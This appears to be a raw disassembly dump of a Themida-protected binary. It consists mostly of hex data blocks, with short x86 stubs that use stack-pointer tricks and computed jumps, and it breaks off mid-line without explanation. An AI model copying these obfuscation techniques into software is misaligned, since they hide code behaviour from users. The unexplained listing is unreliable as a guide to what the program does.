15662ADBh, 2B0FC532h, 572A2BABh, 75AF752Fh dd 55209954h, 74B89A54h, 65DB3567h, 0D8E7448Ah, 27A466D4h dd 9E66D4B3h, 0FC4F4537h, 0FEC4B6Fh, 75662232h, 0FCA0A63Dh dd 15668822h, 96C4DD7Dh, 0E83B130h, 0CE2F8695h, 0FA664B33h dd 15BAAD53h, 58F2232h, 87661132h, 39429CD1h, 82A2632Bh dd 927814Eh, 404466BCh, 8D59168Fh, 75DC164Ch, 94415B2Bh dd 0F440EAC0h, 4FB3A16Bh, 1A3BADBBh, 156623B2h, 7306E932h dd 0A1A8F289h, 8E8F25C6h, 75662232h, 0AE90AE3Dh, 5D879C0Ah dd 34FFFD53h, 0F4E77ADFh, 13881279h, 0F4A751C5h, 0ECD81236h dd 0E22E451Eh, 1080D0ECh, 37616EB3h, 0FBE74472h, 1BA612B8h dd 1A38E003h, 156689BFh, 4E8FBD32h, 1A662232h, 156619BDh dd 17E78732h, 75664432h, 6E52D53h, 0FC661132h, 1566883Ch dd 0F4375C86h, 13007F32h, 5A69A854h, 80E236Fh, 9C66444Dh dd 17D80606h, 0E27EFC50h, 7F8009ECh, 0D465714Fh, 5B2021D4h dd 0FE31E7B3h, 0E4EF90B2h, 156DAD6Ch, 0E1392232h, 1D227D0Bh dd 27165549h, 0B195B16Dh, 156AA23Dh, 128F1132h, 8F668832h dd 6C0002F3h, 98ED0545h, 13CE3A67h, 156E0C3Dh, 93694432h dd 15662230h, 99697052h, 15668833h, 1AAFC1CEh, 156612B7h dd 94347132h, 0E8F6F5F8h, 0AD001D68h, 9C070310h, 0BD4D4487h dd 48FE834h, 0D6664432h, 0B845F49Fh, 8F323104h, 0E05A6A71h dd 0B9E75C36h, 0E59E9D54h, 3152EE53h, 11A20B6Bh, 15672CCEh dd 11ED2232h, 11A29016h, 0FC668832h, 15664437h, 0F0CAED68h dd 7393D2ACh, 9400BECDh, 43126006h, 47007A54h, 4312AB54h dd 73B6B954h, 156CAD68h, 5D442232h, 48B7D02h, 1A789069h dd 9169870Eh, 15662032h, 156D923Dh, 73068832h, 0DBE792B9h dd 709FC514h, 156CF853h, 2ED18832h, 3FFAF848h, 0FA8E20E4h dd 9DA79963h, 316A03F9h, 0FC6280B1h, 15662222h, 0CBC0FD9Bh dd 7DBDE208h, 5F02760Dh, 0E95B7760h, 0EBD4A760h, 0C29008FCh dd 41901654h, 4F002316h, 35CFFFB2h, 78FD2C1h, 5E664432h dd 1FAE51A0h, 5E103F14h, 0E9158EDFh, 7FBA81Ch, 659DA204h dd 16B7953Dh, 29938832h, 94E24BDBh, 1A662233h, 156618B1h dd 1A9EE832h, 156644B0h, 95694332h, 15661133h, 1A8DB4C7h dd 156727B6h, 14E92D32h, 0EC661132h, 91694A0Eh, 15664566h dd 1572A33Dh, 0FD061132h, 15668835h, 14218CB4h, 4A240585h dd 4FA3198Bh, 0DE5AE943h, 1454C03Dh, 1C8F2232h, 2E661132h dd 4A649F13h, 91DB7FE2h, 30991F54h, 147C953Dh, 92698832h dd 15664439h, 156624DBh, 3E9CEA32h, 295D17D6h, 14E24BF8h dd 75662233h, 0E271FBB3h, 749FE678h, 9169A70Eh, 15662105h dd 15779D3Dh, 198F8832h, 0F0664432h, 0CDEAC65h, 1D3060E9h dd 73E4107Fh, 1A996A0Fh, 15664FB7h, 4037ED32h, 0BE698E8Fh dd 1A6EFD31h, 0FC4F2199h, 9F97106Fh, 58FD133h, 8B664432h dd 0EF0B8CCCh, 0A808F69Fh, 778528ABh, 46B83E7Fh, 0F6E6BD81h dd 73B5E73Fh, 3D643862h, 353E22F1h, 1A0679EAh, 7506D78Dh dd 15E28753h, 74664432h, 1AC61E53h, 15666AB6h, 0D5E7E832h dd 18531415h, 1A07A884h, 156618B3h, 0AE00E832h, 0A269796Dh dd 7D3443C5h, 2ECD4144h, 94BC7F68h, 41C9CEC0h, 9EB6ABF6h dd 0D1E53526h, 1D8EE836h, 0A9664432h, 0F4CE1E35h, 0FC72918Bh dd 15668823h, 0D6DB0CE7h, 83D6122Eh, 0E9A18E52h, 67653110h dd 128F1E35h, 20662232h, 4C7F47A2h, 0FC075611h, 156644BCh dd 18EC2DCAh, 0FC661132h, 1566883Ah, 0A1FC0389h, 52AD2321h dd 3E33A4BBh, 9B698E9Ah, 15664435h, 1567A33Dh, 98931132h dd 0BBFE87AFh, 156FAD34h, 5DB22232h, 0C891B9B0h, 0EA5790A6h dd 68FB1E1h, 8A662232h, 0DA6E0967h, 490965D8h, 0D023C76h dd 94A22BD3h, 0AE35EA92h, 14ECC00Eh, 9461AFF3h, 0FC7DC5D9h dd 4DA59052h, 46066E35h, 7F4240B3h, 4D5C9749h, 0A01D7B1Fh dd 9369D308h, 1566443Ch, 1561CB52h, 0A1731132h, 0F8E91876h dd 0EDA525F0h, 9481AB65h, 156615F5h, 11890B32h, 494278B5h dd 0ED4226BBh, 9E7667CDh, 0D1E5AC36h, 90EFB836h, 13CE03CBh dd 15661FDBh, 6936BB32h, 0DD70F218h, 448B8E45h, 9E6715CEh dd 9C35AC36h, 11A5C5D1h, 96662232h, 9E115F1h, 0FC06D416h dd 15664439h, 0FF180272h, 5BD29604h, 738D6F52h, 7482DB8Ah dd 1506EA5Ah, 317A9832h, 15669489h, 4EB84532h, 1571AA3Dh dd 78F1132h, 4C668832h, 0FDCBF1FDh, 7BF9D352h, 688B3197h dd 18F9AE8Fh, 2CDBC90Eh, 0FC608A3Bh, 15661122h, 0A5787BA0h dd 8405F726h, 1A65E691h, 521B0DBh, 156F619Fh, 0C5634432h dd 185FA553h, 1091BE14h, 5E7B85A8h, 31420031h, 18FC9B63h dd 0DD4F5A2Fh, 0BE9F706Bh, 156655DBh, 7D761232h, 0DC30D128h dd 51B9F057h, 435717EFh, 989A15FAh, 0BD4BC08Fh, 0EDCB7D34h dd 5E37FF61h, 0CD676088h, 31221269h, 5E37A516h, 188F0688h dd 0D5662232h, 2E6A9226h, 0D44C910Bh, 0A8B49044h, 1568BE5Ah dd 31629832h, 9F697152h, 1566442Ah, 156631DBh, 0B8900B32h dd 4D9FE659h, 788DF845h, 0B64F09C7h, 0BA1A52AEh, 156A6153h dd 13124432h, 0D871C0E6h, 695CD13Ch, 75CDCCC6h, 43CB9DB2h dd 9A01D5B3h, 743F0CD2h dd 0A9B35BFh, 0FC06429Ah, 1566223Eh, 0D0A13F8Bh, 0DE082539h dd 0F1DF49F8h, 74A0A954h, 1577F89Fh, 5B88832h, 146DDD64h dd 0B5FA30A1h, 9BFBE1BEh, 10366D74h, 3B1B5367h, 7127081Fh dd 31221278h, 544C8D1Ah, 404B0E56h, 75485F25h, 1A06BA53h dd 15668DB5h, 0DFE72232h, 1A31F86Fh, 156611BAh, 0EA07D732h dd 96386006h, 9F6926F6h, 15661133h, 7D9A4BCEh, 156646FBh dd 0FC4216BBh, 15661138h, 9FFE4D30h, 0F0AE4097h, 48F1CD0h dd 0F5661132h, 0E9AE6F6h, 0D1D5834Eh, 0A68805A1h, 75B25D8Fh dd 826F15BFh, 9369429Ch, 15662237h, 0E0384152h, 0FCB57753h dd 15664426h, 6B522A65h, 0B68E07A4h, 7B7821BFh, 7F0C2704h dd 69859899h, 0EA9AE8DBh, 156061CDh, 0B4794432h, 0D573B5AFh dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0B2C0D5F2h, 96A4EAD6h dd 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch dd 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah dd 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah dd 51D6AC8Ah, 60D554A8h, 59D7BA86h, 42F6CE25h, 0DCF14325h dd 0BA72E732h, 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh dd 0BD38C882h, 462CFBFFh, 911DF07h, 0C6D55207h, 0B85E0003h dd 152A5492h, 0AEAE3075h, 8FA75CDDh, 570D1272h, 0A6B0D9FBh dd 0AEA4EAD2h, 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h dd 0BA725032h, 0CB2F168Ch, 13850C1Bh, 142B9675h, 152ABD54h dd 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 8D000030h, 0AF5E038Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0FCCDAB13h, 8D89C38Bh, 6A805B9h, 6E9h, 3E80C300h dd 0C7082152h, 0A8146985h, 6F9C06h, 1DD08100h, 0C7529C1Ch dd 0A80BBD85h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0F47834F2h, 0B5FFF750h dd 6A8298Dh, 5B59E781h, 95FF1B23h, 6A820DDh, 6CEB9CB8h dd 0FF006A52h, 0A81B3195h, 0EBC08B06h, 54D72D59h, 65174A73h dd 0B5E1CCE6h, 8EF8CCAFh, 13872B7Bh, 0AAE45CAh, 35B5472Ch dd 3E269AC9h, 7F8229B8h, 5F2E4145h, 61D8CA2Ch, 9E772A7Fh dd 5EF71322h, 6CD62C0Bh, 178C555Bh, 0C13124C7h, 5E4AC833h dd 63B1D760h, 0E763490Fh, 0F305E983h, 2CB8BA4h, 0ABA0B859h dd 0D9583256h, 67B13256h, 0E864A973h, 683D597h, 0A4FD0BC2h dd 0A958DEDDh, 18B13256h, 0FE36FF50h, 0D5597546h, 0B0B13256h dd 0B0C7D8D7h, 835834F8h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h dd 0BA17FB23h, 25FBD5EEh, 0FDF53FD5h, 0DAACC0ADh, 0B7342291h dd 23AC7ACFh, 20AD29B7h, 75FD7A1Ah, 987C2779h, 7352284Ch dd 24BCFFA0h, 0F305E983h, 8DDB8BA4h, 0AF8198BDh, 2F8D8D06h dd 0B806B009h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h dd 0E9F67549h, 5, 0FE05F200h, 0EC81F9CBh, 4, 58240489h dd 6192B360h, 1ED9BD83h, 750006A8h, 0E9BD8309h, 6A82Dh dd 53501974h, 11B8C08Bh, 89000004h, 0A80FD585h, 139D8D06h dd 0FF06AAA2h, 83585BD3h, 0A82DE9BDh, 17740006h, 11B85350h dd 89000004h, 0A80FD585h, 0B49D8D06h, 0FF06AA9Eh, 0F8585BD3h dd 0B6CA8B60h, 816061B6h, 0B089D7F2h, 0FB8B6611h, 5A505261h dd 0F5AD089h, 88Fh, 2890F00h, 60000000h, 8D8DF861h, 6B00CE6h dd 89F2B70Fh, 0A805B98Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 4E067E24h dd 0A564E322h, 48F0F7Eh, 66000000h, 0C75093B8h, 0A8146985h dd 699006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8F0FE45Ah, 14h, 8E8h, 0D99B2900h dd 0ED8C8BBFh, 0AD8D8931h, 5F06A816h, 0C3C7BB66h, 0BBD85C7h dd 6A8h, 0BD890000h, 6A832A5h, 5233C3BFh, 9B5FF57h, 6606A835h dd 8D89FE8Bh, 6A81E49h, 20DD95FFh, 6A06A8h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 19F89DC3h dd 0E1A5E99Bh, 22D2BA66h, 95FF006Ah, 6A81B31h, 68EBC08Bh dd 72635F0h, 6C7DC276h, 43AA2A48h, 21AB4772h, 5EA79C27h dd 0E32A333Bh, 21BE00ECh, 9908A23Ch, 7401305h, 13042660h dd 0CAFFEA51h, 4A66C989h, 0A61F500Ch, 69F162DFh, 0DA140991h dd 3500499Ah, 0B748CFB6h, 184A0A94h, 97BC2317h, 0B18B3204h dd 76039DCFh, 1AFD46D6h, 0B7ED6243h, 0ADC39C23h, 36AD23D6h dd 439A5420h, 14E8h, 0AF785500h, 39761CC9h, 4111934Eh dd 0A73D8EC2h, 0F503CA99h, 0D6816661h, 8B58F2B7h, 0A816159Dh dd 8DC08106h, 0FC000067h, 19A768h, 37E98100h, 5F3E93C9h dd 0B1108BF5h, 78F281BFh, 662BC874h, 0A7AFC381h, 0CA6BEA81h dd 8B560ED1h, 0A825E5B5h, 0F2815B06h, 6090118Bh, 52C88B66h dd 13E8008Fh, 68000000h, 14AAA518h, 2257E9EDh, 2695BD52h dd 8A5701E7h, 93BE557Ah, 5E0D6188h, 92BEE881h, 5E87E83h dd 0B000000h, 0CE39F60Eh, 20D18D8Bh, 815906A8h, 8392BAC0h dd 6E97Eh, 0DC710000h, 9CC2CF50h, 0F01EF83h, 1985h, 6F68100h dd 0E969A3C4h, 3Eh, 0EDC475CFh, 459B099h, 277F148Ch, 11E8949Ah dd 28000000h, 0ED26EB7Fh, 4BBAC3F3h, 9CFE1CD1h, 0DD1B8BECh dd 3411BD89h, 0E95E06A8h, 0FFFFFF4Dh, 38530E1Eh, 0DCC8C5B2h dd 0FEAFB719h, 0EDE9BE4Dh, 60000000h, 0A8D88C66h, 0DF840F04h dd 8B000000h, 0A80011B5h, 0FE8306h, 22850Fh, 85C60000h dd 6A815D5h, 69696845h, 0B5FF8E72h, 6A831F9h, 6971858Dh dd 0D0FF06ABh, 818589h, 0F08B06A8h, 0FE93E80h, 3185h, 0C4858D00h dd 0FF06AD7Ch, 25BD8BD0h, 8106A807h, 1184C7h, 11B58B00h dd 8706A800h, 8B9F7h, 0A4F30000h, 11B58Bh, 858D06A8h, 6ABA1A1h dd 0B58BD0FFh, 6A80DF1h, 0F00FE83h, 2285h, 0D585C600h dd 5406A815h, 4EBEF468h, 0F9B5FFFFh, 8D06A831h, 0AB697185h dd 89D0FF06h, 0A80DF185h, 80F08B06h, 850FE93Eh, 3Ah, 0DF1B58Bh dd 858D06A8h, 6AD7CC4h, 0BD8BD0FFh, 6A80725h, 1184C781h dd 0C7830000h, 0F1B58B08h, 8706A80Dh, 8B9F7h, 0A4F30000h dd 0DF1B58Bh, 858D06A8h, 6ABA1A1h, 0C361D0FFh, 0E52858Dh dd 858906B0h, 6A83379h, 0EE9h, 56F46300h, 43h, 0 dd 0E9000000h, 4EFh, 0B0108A68h, 6E54E906h, 2F68FFF8h dd 0E906B011h, 0FFF86E4Ah, 0B0129568h, 6E40E906h, 0DB7EFFF8h dd 86AB1492h, 0BCDC47C3h, 600EB1F5h, 1D3EE125h, 2C4DCA50h dd 0B20845E6h, 0EE3C7111h, 0D86E2745h, 99DD477h, 0FD3D4F9Dh dd 0C7B607E5h, 5EFF9A81h, 0D76CACDEh, 0FD56AF57h, 0D77BBFC9h dd 0EE49AF57h, 54F7A8F5h, 6206E91Dh, 0D79EBA2Bh, 7DC7514Ah dd 35D16ACAh, 0FFE22C93h, 0F03D16B5h, 0FFE22E76h, 40E14AB5h dd 77DD4632h, 374A114h, 17A0000h, 2143AC22h, 355ACB68h dd 96118770h, 0DF699D26h, 0B5FFECACh, 0E309BD96h, 0FFED6159h dd 83C523B5h, 0B5FFED87h, 0BFF9D27Dh, 4CE2CDF7h, 0BDF49809h dd 77F12770h, 0B36553A8h, 0DC0AB1E3h, 941950F3h, 0BDCF1583h dd 0BA0D8672h, 7CBCCE74h, 4EBA0D86h, 0DA66EFF8h, 466979B3h dd 0E9C26F26h, 0BD96B8F0h, 0C060EA70h, 8571BE3Dh, 0B6AFEA88h dd 4477A562h, 2464A62Eh, 1EBA0D68h, 47635C35h, 0B5A2C405h dd 7195BEC0h, 60A6EF8Eh, 33D59CBFh, 0E85705AEh, 2242C3E0h dd 75000003h, 0A40F9BD2h, 0D37CCA8Fh, 5AEFCB5h, 359E2C69h dd 46CD5914h, 0F3BEDF33h, 276A0CB7h, 551C40E3h, 86CF6ED1h dd 446A400h, 0B607E704h, 0BA93B8FEh, 0D6AEEA1Ch, 16B0AF57h dd 0AF57D712h, 248747F0h, 0B3E44900h, 82CB69DAh, 1BAC0C1Dh dd 0A2E402B9h, 0B607E6B6h, 0D907A38Ch, 7E76BAFh, 0BAFE59B6h dd 5AEC0AB0h, 0B607E75Eh, 2AD0B24h, 359E2C61h, 62B9414h dd 5CDDE43h, 0B607E705h, 367B54FFh, 7E6EF34h, 0F67F1B6h dd 0D9A74F1Fh, 16FB68D7h, 1AF3ED64h, 3B72119Eh, 4A7FE8Dh dd 22A300F3h, 27Dh, 5AE0A9D0h, 951154F9h, 0C3470E2Ah, 33773260h dd 64A2EF90h, 1738DA9Fh, 0C363CC5Ah, 0F597388Eh, 0A6C56EBCh dd 19C35BEFh, 7E7ABEFh, 0F45399B6h, 0D80EB5E7h, 7E6BAAEh dd 2343ACB6h, 0E72119A3h, 48E3B607h, 1C37D95Fh, 20640EEh dd 0A1B607E7h, 3364C98Ch, 0B31098B3h, 7E76BABh, 3AC07B6h dd 6FC21BF7h, 1CCE214h, 0FF450000h, 5288155Ch, 169BD271h dd 690C9305h, 7519FA20h, 0A912F830h, 0F00AB00Bh, 0B5FFF58Dh dd 7D345477h, 0D7DF1F84h, 0CCB5FFF4h, 81B9E6ABh, 15C62398h dd 2F43A4B2h, 0D249C56Ah, 0F55EC251h, 0B6322E2Ch, 3DD51477h dd 6E000000h, 0D80EB5E7h, 7C3151B2h, 0B4B2E637h, 0B6000559h dd 0F9DA002Bh, 6CACDE5Ah, 56B60005h, 8E9F04FDh, 75B1B92Ah dd 11B60005h, 0DF9F9BAh, 0E81477F8h, 0C3h, 3D7011F2h, 2A71A7F0h dd 0BC3459BAh, 57D70E0Ah, 625BF4AFh, 0E34CEC3Dh, 0ADE08140h dd 0F13E1700h, 5989E375h, 39B1F8A0h, 91074978h, 83206D0Eh dd 26551567h, 0F79EE005h, 0F2261F5Ah, 0DA470E2Dh, 49EB2A49h dd 0B4ADE488h, 0C1453E6Fh, 5853DD07h, 0EEA7C6AFh, 0F64DEF58h dd 0F387B6D0h, 0D27DB602h, 0E7AACB34h, 0ED1F45A3h, 0B602F2ADh dd 0B37CBC97h, 9C29DF92h, 0FEF309B5h, 117443Dh, 0CF6A0000h dd 0F29F0086h, 0A8D073B7h, 54FAA5E1h, 92A9511h, 3879C644h dd 0B6F4B9DAh, 9A206D0Dh, 0D4521B39h, 581C86Bh, 901BBA1h dd 0FBB607E9h, 5EFF96BDh, 86699713h, 0A00FA9E4h, 8876B4FDh dd 0EB480127h, 0BA3D66B2h, 57F83559h, 0AB84951Ah, 0C855183Ah dd 0B7D659DFh, 4AE7C8FEh, 693AA90Fh, 396783CAh, 57D78B8Fh dd 5ADE79AFh, 5EE557F0h, 26C51EA8h, 94BFB600h, 0A6EF8D76h dd 62882079h, 2C6C9EC4h, 16B60027h, 1334FB3Dh, 0E91FB7D6h dd 971D6944h, 4D5EC3BCh, 0F034D654h, 0B3B60055h, 7B325190h dd 0DE0CE536h, 0EEB1709Ch, 0F6EBAD6Bh, 2D4D8525h, 6821447Bh dd 88F9D2CBh, 860CACE5h, 95B97C1Dh, 87C26FD0h, 8B28011Ah dd 483Ah, 30BA1D00h, 0C455CA25h, 42C55348h, 0BBD69D2h dd 0B608B45Bh, 0A10E29h, 2D96145Dh, 10DA470Eh, 0FBEF94BCh dd 0B8BF60D5h, 7F325495h, 0FC9F0086h, 9BB768B5h, 258E51DEh dd 9FD6757Ch, 0CC85A80Bh, 39E67h, 0B0B90000h, 1158FFCBh dd 3970138Ch, 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh dd 0A2E78B14h, 0CD84A47Dh, 0D792BF60h, 8950FA4Ah, 405E0h dd 0E8830000h, 24048704h, 2404895Ch, 81E68956h, 4C6h, 4EE8300h dd 5C243487h, 51242C89h, 0C181E189h, 4, 8704E983h, 895C240Ch dd 0BA522434h, 6B00F81h, 148BD589h, 4C48324h, 24348B54h dd 4C481h, 8F550000h, 348B0846h, 0E3895324h, 4C381h, 0C3830000h dd 241C8704h, 242C8B5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5517CE ; --------------------------------------------------------------------------- ror dword ptr [ebp-4FEC2E48h], cl push es add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 386FD709h, 0BB16A2h, 6C8B4C93h, 77E59785h, 47D24EE6h dd 4642C7ECh, 11456815h, 28CBD68Eh, 62076D4Eh, 481395Ah dd 530ECACDh, 8111393h, 49438C9Eh, 4A2BB5E6h, 16379CB7h dd 35CB8C72h, 64AE3C73h, 79BE9A28h, 0A9DFD4Ch, 730E4CD1h dd 5495939Fh, 54CCB80Eh, 1413A102h, 48320FF0h, 6FD77A73h dd 4F959426h, 15600EE5h, 32CDB870h, 13E8h, 0F3ECC400h dd 875D13B0h, 0F9DA0D25h, 62B2EFACh, 3AA94146h, 6E9h, 41292900h dd 5B6FA8AAh, 81CFBF0Fh, 7587C3h, 5E900h, 6BE70000h, 337C4E18h dd 0C0B70FD2h, 0E91A34FFh, 0Ah, 0E66F37E0h, 0B856A1F6h dd 665E2A91h, 3F46CF81h, 0C8E8EE81h, 840F1A08h, 6, 8A0Fh dd 0C6810000h, 0A0C9160h, 0EE81F88Bh, 767A8F1h, 13E8h dd 0A9F9D100h, 0F3A3E6C2h, 0DF77A139h, 2CA0FC0Dh, 0B3F74E15h dd 34895FFCh, 5AB9F513h, 835DB721h, 8B6602EAh, 0F4A4AC3h dd 0FA81FBB7h, 0FFFF8B24h, 0FF8E850Fh, 0CF81FFFFh, 1C5D7F1Bh dd 1AE9h, 748B9400h, 18h, 4 dup(0) dd 0E9000000h, 4D7h, 36743D5Ch, 61A5E08Dh, 57D39ABEh, 870346ECh dd 0F0367B1Ch, 0ABCC466Bh, 5FFFA0E6h, 92B9412h, 3A59FA40h dd 0B5B73773h, 7EC1713h, 80AFEDB6h, 0F1155CFFh, 0FEA4F67h dd 0F4249C95h, 0A0ED8E17h, 5B9AB91Ah, 0FB2C7138h, 61049D02h dd 751A8B28h, 0DA00F330h, 8F1459F9h, 0A11A9Eh, 0F7135AF9h dd 0F721680Ch, 0CB82A20Dh, 0F9B0D47Fh, 94CE2CDh, 462573A4h dd 0B3F0BDDDh, 979E07ACh, 0C56EBCF5h, 0B842EFA6h, 0AF58517Dh dd 4B47E8CFh, 12DFAC5Fh, 8BBEh, 5CFF8100h, 6FB4F19Dh, 1ED8453Eh dd 0AF57D718h, 0E0AC7562h, 0D70800BAh, 0ACDEAF57h, 0AF57D76Ch dd 42EDFD56h, 0D65642D6h, 1B112DFh, 8A000000h, 0F31752FFh dd 0D6F73355h, 0E5C5AF57h, 0DD15955Eh, 0AF0922A4h, 6ACE633Ch dd 85FCFB7Eh, 0F63B14E9h, 0A644012Dh, 0D2ACFE78h, 502EC1AAh dd 58BF72B6h, 0B1E750AFh, 793C51D2h, 84CD6B34h, 0AFE6861Fh dd 0CDE62902h, 75305D64h, 9706FF28h, 0D9767D26h, 0FFE00E9Ch dd 1A85135Eh, 0CFF4327Bh, 8E135EFFh, 0F03D7815h, 7D8F0F2Fh dd 0AF57D73Dh, 0EE332C07h, 0D15E1735h, 7DFCA50Eh, 0B4F8B912h dd 0D6BCFC0Eh, 0AD86AF57h, 4683A40Bh, 2B7F6825h, 7ACE588h dd 6EB3FA9Eh, 54D994B5h, 0E6CE78A2h, 0A001B872h, 0AC6AB7F2h dd 812FAE77h, 6D89892Ah, 6812DF8Ah, 68h, 135EFFB3h, 3A73158Eh dd 41082CF5h, 682143DCh, 6AF04CBh, 0EEB72477h, 0BF0B46E7h dd 0F13E7314h, 0AECF0230h, 0B96DBEE3h, 57D70B0Fh, 655EF9AFh dd 32F35838h, 0DFD4C420h, 75C312h, 0BA640000h, 0D6AEEA1Ch dd 0BB94AF57h, 0DC91B27Dh, 6FAECE57h, 256C0CCDh, 0DDB6AFF8h dd 0EA4B2050h, 0BEE42E3h, 0EDC24B86h, 5227851h, 0F31752FFh dd 5CE10355h, 60CCD191h, 582162A6h, 0C6C204AFh, 0BCAF5820h dd 93355393h, 0AF582197h, 4FE9C26Dh, 211B1ADCh, 7B61AF58h dd 7DBBF698h, 211D1D86h, 0EC12DF9Ch, 0BA7CBC6Ah, 71D2A843h dd 21B98DDh, 16496h, 0FFBF0000h, 4CEA1059h, 57D6FE3Ah dd 0C885A5AFh, 289B1D36h, 109DD477h, 7FA4ED8Fh, 0D76159E3h dd 823AF57h, 77BCF597h, 0D75951EBh, 2BAF57h, 444BD4C1h dd 0E8C16E23h, 3AFBD0FFh, 0CE5C1533h, 4664DF7Dh, 0FFE3A504h dd 6FB49FB5h, 325697B6h, 9B04827Bh, 521B39F8h, 971C51F1h dd 0C600AD86h, 0B5FFE3C0h, 0F7FEA70Ch, 26891D54h, 5E14E07h dd 0DF0E9FF3h, 6DCB192Ch, 45EAA3C2h, 0C1C869C2h, 0FF5FEBA2h dd 14772B03h, 11CEAh, 0B5E73D00h, 23AED80Eh, 0E1B60007h dd 1538E936h, 0B6FBBED4h, 0DD1F6D65h, 9B3EFC5Fh, 7CFE64A2h dd 2A8D1ACDh, 0C06FC998h, 0CD36D49Dh, 0D4B7E1ACh, 0CC89A50Eh dd 3DE23667h, 47CA571Eh, 0DD7B45EEh, 556FABh, 0BEFA55B6h dd 8F1B52F1h, 77A8332Fh, 4FDA14h, 0E76D0000h, 0ADDF0BB6h dd 2F57D74Dh, 57971C37h, 2F57D753h, 39662350h, 0D79F9B2Dh dd 0CA652F57h, 29763F59h, 0EE6D366Dh, 73723368h, 394367C2h dd 0AF57D6E1h, 0EB2F5987h, 0D9AF57D6h, 3B143A7Eh, 0C100248Fh dd 5344E9ACh, 0CB543E7Ah, 79h, 0EB5E7EEh, 0F938B2D8h, 0A5D279B5h dd 5E313761h, 24B6007Bh, 5EFDA60Bh, 0D309317h, 0A003DF44h dd 3556B7F2h, 0ED363078h, 59B6007Bh, 0ABCAD152h, 0B1E3A4E2h dd 7C8585C7h, 0D47FB600h, 0FDBDCFFBh, 0E3BCB091h, 8A175200h dd 5EF90791h, 642D50D1h, 1293383Fh, 0FC92A113h, 8BAB74B9h dd 574059C6h, 7A3E487Eh, 6CC360A7h, 1AEE383h, 330DE28h dd 0D726E2Eh, 7CCA65ABh, 3F59BA57h, 37652276h, 4D1C5E8Ch dd 9C2C0D2Eh, 45876DCBh, 0B60866C5h, 0D30F94BFh, 9D024FF0h dd 0E0832C8Ch, 93B21DA9h, 0CC9555DAh, 0E5D4CCF8h, 85A8AF70h dd 0B6D57ECCh, 5DF1B2FFh, 7F549B18h, 0C58CAFB6h, 0F6BFDE41h dd 0AC17BDA9h, 0FF3BC386h, 0C5D4CCF8h, 341CE6Ah, 64000000h dd 58FFCBB0h, 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh dd 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh, 68FA4AD7h dd 356Bh, 68240C89h, 4271h, 68240489h, 5F71h, 68243489h dd 3C15h, 0BD242C89h, 43680780h, 480E23B8h, 5DE801C3h dd 4EC81h, 24890000h, 24048124h, 4, 8BA525Eh, 81000000h dd 7A7699EAh, 81F2016Fh, 7A7699C2h, 5A02896Fh, 5324348Bh dd 0C381E389h, 4, 8704C383h, 8B5C241Ch, 89512404h, 4C181E1h dd 81000000h, 4C1h, 240C8700h, 6348E95Ch, 0B859FFF8h, 6B019F6h dd 0E0FFC503h, 7F73DF16h, 38CC2992h, 648ABF10h, 7E3EF39Ah dd 3AD5097h, 665E5CC2h, 56CD2B14h, 79EFF005h, 2BC988A0h dd 2250C6DFh, 514F0A7Ch, 1B308D8Dh, 8D8906B0h, 6A805B9h dd 8286EB81h, 85C7172Fh, 6A81469h, 6D64h, 0D079BE66h, 3451858Bh dd 85C706A8h, 6A80BBDh, 0 ; --------------------------------------------------------------------------- jo loc_5CB4F6 mov di, 9D39h loc_5CB4F6: ; CODE XREF: Themida_:005CB4ECj push dword ptr [ebp+6A8298Dh] mov [ebp+6A81411h], edi call dword ptr [ebp+6A820DDh] push 0 push ebp call sub_5CB513 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB513 proc near ; CODE XREF: Themida_:005CB50Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5CB513 endp ; --------------------------------------------------------------------------- push 0E0373B52h cmp [eax], eax sub [ebp+6A8149Dh], ebx mov [ebp+6A825D9h], edi push 0 call dword ptr [ebp+6A81B31h] mov eax, eax jmp short loc_5CB59B ; --------------------------------------------------------------------------- dw 20B3h dd 0ADD1EA2Bh, 45D7A44Ch, 0BBFE7529h, 0C5961F40h, 95FFFBD4h dd 0B272E460h, 9E9C7087h, 491B97B9h, 59367427h, 95A8252h dd 0D91F29EFh, 60ADFD2Bh, 0F117660Ch, 0ECF46404h, 0E8058C43h dd 0BDEC4E88h, 0D9BC0D1Fh, 8304169Ah, 9C61F7BCh, 0A42B3AD9h dd 9D641B84h db 5Ah, 7Ah, 85h ; --------------------------------------------------------------------------- loc_5CB59B: ; CODE XREF: Themida_:005CB540j jmp loc_5CB5C9 ; --------------------------------------------------------------------------- dd 40D06E13h, 9 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5CB5C9: ; CODE XREF: Themida_:loc_5CB59Bj jmp loc_5CBB88 ; --------------------------------------------------------------------------- dw 1B3Eh dd 0C66BD452h, 0FC9C0783h, 0A0CE71B5h, 5DFEA1E5h, 6C0D8A10h dd 72C885A6h, 0AEFCB1D1h, 982E6705h, 0C95D1437h, 3D7D8F5Dh dd 7B607F2h, 5CFF5AC1h, 1C55F7D8h, 57D6B6F2h, 7A38CAFh dd 57D6C5C5h, 0BB94BFAFh, 0C18CAD76h, 0D095BA25h, 0FFB6D253h dd 87289206h, 